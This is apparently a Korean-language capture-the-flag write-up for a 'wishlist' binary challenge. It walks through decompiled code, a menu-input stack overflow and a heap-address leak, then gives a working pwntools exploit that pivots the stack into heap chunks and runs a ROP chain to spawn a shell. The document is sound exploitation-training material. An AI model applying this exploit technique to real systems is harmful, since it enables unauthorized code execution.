TL;DR, no heap ex, ROP with stack pivoting
puts("1. make wish");
puts("2. view wish");
puts("3. remove wish");
make, view, remove 할 수 있는 heap challenge
__int64 sub_4008A7()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
printf("input: ");
read(0, buf, 0x20uLL);
return (unsigned __int8)buf[0];
}
1,2,3 번호입력할 떄 사용하는 함수. buf[0] 을 리턴하긴 하지만 ret address 까지 덮을 수 있다. 수상하다
1. make
__int64 sub_400910()
{
int v0; // ebx
v0 = count;
(&ptr)[v0] = (char *)malloc(0x18uLL);
printf("wishlist: ");
read(0, (&ptr)[count], 0x18uLL);
return (unsigned int)++count;
}
0x18 의 고정된 크기의 힙만 할당받을 수 있고,
ptr 내에 할당받는 횟수는 제한이 없다.
2. view
int sub_40097F()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF
printf("index: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 9 )
exit(1);
return puts((&ptr)[v1]);
}
index 0~9 에 해당하는 힙만 출력해준다.
3. remove
__int64 sub_4009DD()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h] BYREF
printf("index: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 9 )
exit(1);
free((&ptr)[v1]);
result = v1;
(&ptr)[v1] = 0LL;
return result;
}
마찬가지로 index 0~9 의 chunk 만 해제할 수 있고, 해제 후에는 0으로 초기화해서 DFB 방지.
stuff
int sub_4008FF()
{
return system("~!@#$");
}
system 함수가 있다. PIE 가 없어서 자유롭게 사용 가능하다.
exploit
적당히 할당하고 해제하면, FD 가 남아있어서 heap base
를 구할 수 있다.
malloc(0x18) * 3 → free(0), free(1) → malloc(0x18) ( index 1
에 있던 chunk 할당 )
FD 에 index 0
에 해당하는 chunk 의 주소가 적혀있다.
1바이트는 덮을 수 밖에 없어서, 1바이트 날리고 heap base
를 구할 수 있다.
메뉴선택할 때, BOF 가 발생하므로
fake_stack+leave;ret
으로 stack pivoting
(여기는 heap chunk)
fake_stack+0x00 : 아무거나 와도됨
fake_stack+0x08 : pop rdi;ret;
fake_stack+0x10 : address of /bin/sh (in other heap chunk)
fake_stack+0x18 : system@plt
힙에 0x18 밖에 입력못받아서, rbp 에 chunk-8
의 주소를 넣어야한다.
여기서 또 문제, system@plt 를 호출해 system 함수의 주소를 가져오는 과정에서, 스택을 좀 사용하는데, 힙 공간이 스택으로 사용하기에 작아서 터진다.
→ 힙은 아래로 자라서 chunk 를 많이 생성한 뒤, 밑에 있는 chunk 를 fake_stack
으로 사용
from pwn import *
import sys
context.binary = binary = "./wishlist"
# context.log_level='debug'
context.arch="amd64"
b=ELF(binary,checksec=False)
if '1' in sys.argv:
r = remote("ctf.j0n9hyun.xyz", 3035)
# lib = ELF("./libc.so.6", checksec=False)
else:
r = b.process()
lib = b.libc
def add(content="x"):
r.sendlineafter("input: ",b"1")
r.sendafter("wishlist: ",content)
def view(index):
r.sendlineafter("input: ",b"2")
r.sendlineafter("index: ",str(index).encode())
data=r.recvline()
return data
def free(index):
r.sendlineafter("input: ",b"3")
r.sendlineafter("index: ",str(index).encode())
prdi=0x00400b03
leaveret=0x004008d8
add()
add()
add(b'x'*0x10+b'/bin/sh\x00')
free(0)
free(1)
add()
add()
pause()
heap_base=u64(view(3).strip().ljust(8,b'\x00'))&(~0xff)
log.info(hex(heap_base))
for i in range(200):
add()
add(p64(prdi)+p64(heap_base+0x60)+p64(b.plt['system']))
pivot=heap_base+0x70+0x20*200-8
pay=b'x'*0x10
pay+=p64(pivot)
pay+=p64(leaveret)
r.sendlineafter("input: ",pay)
r.interactive()
힙주소는, 16.04 에서 디버깅하며 구하니까 정확하게 구할 수 있었다.